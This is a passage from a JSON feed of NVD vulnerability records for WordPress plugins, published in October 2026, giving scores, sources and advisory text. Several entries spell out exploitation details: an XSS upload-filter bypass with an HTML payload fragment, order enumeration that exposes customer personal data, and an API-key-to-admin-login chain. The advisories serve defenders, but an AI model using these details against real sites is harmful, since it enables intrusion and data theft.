HTML entity-encoded characters, allowing a crafted entity-encoded payload in the comment 'Website' field to survive storage and be DOM-decoded by the browser into executable markup at the sink.","detail":"The SiteOrigin CSS plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'url (comment_author_url)' parameter in all versions up to, and including, 1.6.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is possible because WordPress core's esc_url() preserves HTML entity-encoded characters, allowing a crafted entity-encoded payload in the comment 'Website' field to survive storage and be DOM-decoded by the browser into executable markup at the sink.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:06.380Z","updatedAt":"2026-10-16T15:17:05.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107764","asOf":"2026-10-16T15:17:05.660Z"},"epss":{"probability":0.00236,"percentile":0.14491,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107764&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107764","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107764","type":"primary","publishedAt":"2026-10-16T06:17:06.380Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107764&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107764, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104932","cveId":"CVE-2026-104932","aliases":[],"kind":"vulnerability","title":"The Search Regex plugin for WordPress is vulnerable to PHP Object Injection in version 3.5 via deserialization of untrusted input in the replace_all function.","summary":"The Search Regex plugin for WordPress is vulnerable to PHP Object Injection in version 3.5 via deserialization of untrusted input in the replace_all function. This allows authenticated attackers, with subscriber-level access and above, to inject a PHP Object. The additional presence of a POP chain allows attackers to execute code.","detail":"The Search Regex plugin for WordPress is vulnerable to PHP Object Injection in version 3.5 via deserialization of untrusted input in the replace_all function. This allows authenticated attackers, with subscriber-level access and above, to inject a PHP Object. The additional presence of a POP chain allows attackers to execute code.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:05.590Z","updatedAt":"2026-10-16T15:17:03.793Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104932","asOf":"2026-10-16T15:17:03.793Z"},"epss":{"probability":0.00282,"percentile":0.20546,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104932&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104932","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104932","type":"primary","publishedAt":"2026-10-16T06:17:05.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104932&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104932, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104000","cveId":"CVE-2026-104000","aliases":[],"kind":"vulnerability","title":"The Simply Schedule Appointments plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'status' parameter in all versions up to, and including, 1.6.12.35 due...","summary":"The Simply Schedule Appointments plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'status' parameter in all versions up to, and including, 1.6.12.35 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The malicious payload is stored unconditionally because debug logging is enabled by default, and the debug-log viewer is accessible to anyone holding the site-wide Support PIN (an HMAC-MD5 of AUTH_SALT displayed in wp-admin), meaning the injected script will execute against the administrator's session during ordinary support or troubleshooting workflows.","detail":"The Simply Schedule Appointments plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'status' parameter in all versions up to, and including, 1.6.12.35 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The malicious payload is stored unconditionally because debug logging is enabled by default, and the debug-log viewer is accessible to anyone holding the site-wide Support PIN (an HMAC-MD5 of AUTH_SALT displayed in wp-admin), meaning the injected script will execute against the administrator's session during ordinary support or troubleshooting workflows.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:04.667Z","updatedAt":"2026-10-16T16:16:54.417Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104000","asOf":"2026-10-16T16:16:54.417Z"},"epss":{"probability":0.00236,"percentile":0.1449,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104000&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104000","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104000","type":"primary","publishedAt":"2026-10-16T06:17:04.667Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104000&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104000, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103999","cveId":"CVE-2026-103999","aliases":[],"kind":"vulnerability","title":"The Ultra Addons for Contact Form 7 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via File Upload in all versions up to, and including, 3.5.54 due to...","summary":"The Ultra Addons for Contact Form 7 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via File Upload in all versions up to, and including, 3.5.54 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The extension blocklist gatekeeper is bypassed by uploading text-type files (.txt, .csv, .vtt, .srt, .asc) whose contents begin with an HTML payload such as '<BODY onload=…>', as the check classifies these files as text/plain without inspecting their byte content.","detail":"The Ultra Addons for Contact Form 7 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via File Upload in all versions up to, and including, 3.5.54 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The extension blocklist gatekeeper is bypassed by uploading text-type files (.txt, .csv, .vtt, .srt, .asc) whose contents begin with an HTML payload such as '<BODY onload=…>', as the check classifies these files as text/plain without inspecting their byte content.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:03.927Z","updatedAt":"2026-10-16T15:17:02.880Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103999","asOf":"2026-10-16T15:17:02.880Z"},"epss":{"probability":0.00259,"percentile":0.17383,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103999&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103999","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103999","type":"primary","publishedAt":"2026-10-16T06:17:03.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103999&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103999, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103896","cveId":"CVE-2026-103896","aliases":[],"kind":"vulnerability","title":"The 10Web Booster – Website speed optimization, Cache & Page Speed optimizer plugin for WordPress is vulnerable to a limited file write via path traversal in versions up to, and...","summary":"The 10Web Booster – Website speed optimization, Cache & Page Speed optimizer plugin for WordPress is vulnerable to a limited file write via path traversal in versions up to, and including, 2.34.5 This is due to the OptimizerWebPageCache::get_cache_file_dir() function concatenating raw, unsanitized $_GET parameter names and values into the on-disk cache path, and the cache_content() sink calling mkdir() and file_put_contents() on the result with no realpath containment check — unlike the sibling delete_page_cache(), which does perform one. This makes it possible for unauthenticated attackers to create arbitrary directories (mode 0777, recursively) outside the cache root and write a cached page into them. The write is LIMITED: the filename is always 'source.html', so the extension is fixed, and the content is the rendered page buffer rather than attacker-supplied data. PHP files cannot be written and code execution is not possible; the demonstrated impact is cache poisoning and arbitrary directory creation.","detail":"The 10Web Booster – Website speed optimization, Cache & Page Speed optimizer plugin for WordPress is vulnerable to a limited file write via path traversal in versions up to, and including, 2.34.5 This is due to the OptimizerWebPageCache::get_cache_file_dir() function concatenating raw, unsanitized $_GET parameter names and values into the on-disk cache path, and the cache_content() sink calling mkdir() and file_put_contents() on the result with no realpath containment check — unlike the sibling delete_page_cache(), which does perform one. This makes it possible for unauthenticated attackers to create arbitrary directories (mode 0777, recursively) outside the cache root and write a cached page into them. The write is LIMITED: the filename is always 'source.html', so the extension is fixed, and the content is the rendered page buffer rather than attacker-supplied data. PHP files cannot be written and code execution is not possible; the demonstrated impact is cache poisoning and arbitrary directory creation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:03.417Z","updatedAt":"2026-10-16T15:17:02.663Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103896","asOf":"2026-10-16T15:17:02.663Z"},"epss":{"probability":0.00464,"percentile":0.39922,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103896&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103896","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103896","type":"primary","publishedAt":"2026-10-16T06:17:03.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103896&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103896, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100186","cveId":"CVE-2026-100186","aliases":[],"kind":"vulnerability","title":"The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via First Name...","summary":"The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via First Name Field in all versions up to, and including, 4.0.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability is only exploitable when the Email Confirmation feature is enabled in Profile Builder.","detail":"The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via First Name Field in all versions up to, and including, 4.0.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability is only exploitable when the Email Confirmation feature is enabled in Profile Builder.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:02.317Z","updatedAt":"2026-10-16T15:16:58.640Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100186","asOf":"2026-10-16T15:16:58.640Z"},"epss":{"probability":0.00241,"percentile":0.15078,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100186&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100186","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100186","type":"primary","publishedAt":"2026-10-16T06:17:02.317Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100186&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100186, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111114","cveId":"CVE-2026-111114","aliases":[],"kind":"vulnerability","title":"The Nexter Extension – Security, Performance, Code Snippets & Site Toolkit plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.7.11...","summary":"The Nexter Extension – Security, Performance, Code Snippets & Site Toolkit plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.7.11 The vulnerability exists because the `/?reset-view` handler in `role_switcher_to_view_admin_as()` performs no nonce or capability check when the supplied username matches the authenticated caller, and because the plugin's only cleanup mechanism — the `profile_update` hook — does not fire when WordPress performs a bulk role change via `wp-admin/users.php?action=promote`, which calls `WP_User::set_role()` directly and leaves a stale `administrator` value in the `nxtext_view_admin_original_role` user meta. This makes it possible for authenticated attackers with Subscriber-level access or above to restore the stale stored Administrator role to their own account, effectively escalating their privileges to Administrator. Exploitation requires that the attacker's account previously held the Administrator role and used the View Admin Role Switcher feature before being demoted specifically through the bulk role-change control rather than the Edit User screen, as only the bulk path bypasses the `profile_update` hook that would otherwise have cleared the stored original role.","detail":"The Nexter Extension – Security, Performance, Code Snippets & Site Toolkit plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.7.11 The vulnerability exists because the `/?reset-view` handler in `role_switcher_to_view_admin_as()` performs no nonce or capability check when the supplied username matches the authenticated caller, and because the plugin's only cleanup mechanism — the `profile_update` hook — does not fire when WordPress performs a bulk role change via `wp-admin/users.php?action=promote`, which calls `WP_User::set_role()` directly and leaves a stale `administrator` value in the `nxtext_view_admin_original_role` user meta. This makes it possible for authenticated attackers with Subscriber-level access or above to restore the stale stored Administrator role to their own account, effectively escalating their privileges to Administrator. Exploitation requires that the attacker's account previously held the Administrator role and used the View Admin Role Switcher feature before being demoted specifically through the bulk role-change control rather than the Edit User screen, as only the bulk path bypasses the `profile_update` hook that would otherwise have cleared the stored original role.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T05:17:30.350Z","updatedAt":"2026-10-16T16:17:04.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111114","asOf":"2026-10-16T16:17:04.080Z"},"epss":{"probability":0.00281,"percentile":0.20367,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111114&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111114","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111114","type":"primary","publishedAt":"2026-10-16T05:17:30.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111114&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111114, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110590","cveId":"CVE-2026-110590","aliases":[],"kind":"vulnerability","title":"The Klarna for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.13.3 This is due to the plugin not properly verifying...","summary":"The Klarna for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.13.3 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to access any order's secret order_key and full billing and shipping PII — including first name, last name, email address, phone number, street address, postcode, city, region, and country — emitted inline as the klarna_payments_params JavaScript variable, enabling full store-wide order enumeration. Because WooCommerce order IDs are sequential integers and no order_key or authenticated session is required, every order in the store can be trivially enumerated with sequential GET requests to the order-pay endpoint.","detail":"The Klarna for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.13.3 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to access any order's secret order_key and full billing and shipping PII — including first name, last name, email address, phone number, street address, postcode, city, region, and country — emitted inline as the klarna_payments_params JavaScript variable, enabling full store-wide order enumeration. Because WooCommerce order IDs are sequential integers and no order_key or authenticated session is required, every order in the store can be trivially enumerated with sequential GET requests to the order-pay endpoint.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T05:17:29.973Z","updatedAt":"2026-10-16T15:17:11.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110590","asOf":"2026-10-16T15:17:11.547Z"},"epss":{"probability":0.00325,"percentile":0.25302,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110590&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110590","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110590","type":"primary","publishedAt":"2026-10-16T05:17:29.973Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110590&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110590, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109998","cveId":"CVE-2026-109998","aliases":[],"kind":"vulnerability","title":"The Mang Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'content' parameter in all versions up to, and including, 2.4.3 due to insufficient input...","summary":"The Mang Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'content' parameter in all versions up to, and including, 2.4.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable because the wp_ajax_nopriv_mb_template endpoint is publicly accessible without authentication, nonce verification is not enforced for the content_reply mode, and admin-ajax.php responds with Content-Type: text/html, causing browsers to execute injected tags embedded in the JSON response body.","detail":"The Mang Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'content' parameter in all versions up to, and including, 2.4.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable because the wp_ajax_nopriv_mb_template endpoint is publicly accessible without authentication, nonce verification is not enforced for the content_reply mode, and admin-ajax.php responds with Content-Type: text/html, causing browsers to execute injected tags embedded in the JSON response body.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T05:17:29.717Z","updatedAt":"2026-10-16T15:17:08.570Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109998","asOf":"2026-10-16T15:17:08.570Z"},"epss":{"probability":0.00272,"percentile":0.19331,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109998&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109998","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109998","type":"primary","publishedAt":"2026-10-16T05:17:29.717Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109998&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109998, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109400","cveId":"CVE-2026-109400","aliases":[],"kind":"vulnerability","title":"The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 0.1.4.1 This is due to the...","summary":"The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 0.1.4.1 This is due to the plugin registering its admin page via `add_management_page()` using a role name returned by `InstaWP_Setting::get_allowed_role()` as the required capability — which WordPress resolves as a real capability match for any user holding that role — combined with `generate_section_field()` rendering the master API key from the `instawp_api_options` option directly as the `value` attribute of a plain-text HTML input with no additional `manage_options` or equivalent capability check. This makes it possible for authenticated attackers with Subscriber-level access and above to read the plaintext master API key, use its SHA-256-derived secret as a bearer token accepted by the plugin's REST API `validate_api_request()`, and call `POST /wp-json/instawp-connect/v2/auto-login` to mint a 30-second single-use login URL that sets an administrator authentication cookie — fully escalating their privileges. Exploitation requires the site to be actively connected to InstaWP and an administrator to have added the attacker's role to the plugin's Sync Tab Access list (`instawp_sync_tab_roles`); notably, the settings tab suppression logic only hides the tab when `administrator` is absent from the list entirely, meaning a mixed configuration retaining administrator alongside a lower role still serves the full settings page — including the API key — to the lower-privileged user.","detail":"The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 0.1.4.1 This is due to the plugin registering its admin page via `add_management_page()` using a role name returned by `InstaWP_Setting::get_allowed_role()` as the required capability — which WordPress resolves as a real capability match for any user holding that role — combined with `generate_section_field()` rendering the master API key from the `instawp_api_options` option directly as the `value` attribute of a plain-text HTML input with no additional `manage_options` or equivalent capability check. This makes it possible for authenticated attackers with Subscriber-level access and above to read the plaintext master API key, use its SHA-256-derived secret as a bearer token accepted by the plugin's REST API `validate_api_request()`, and call `POST 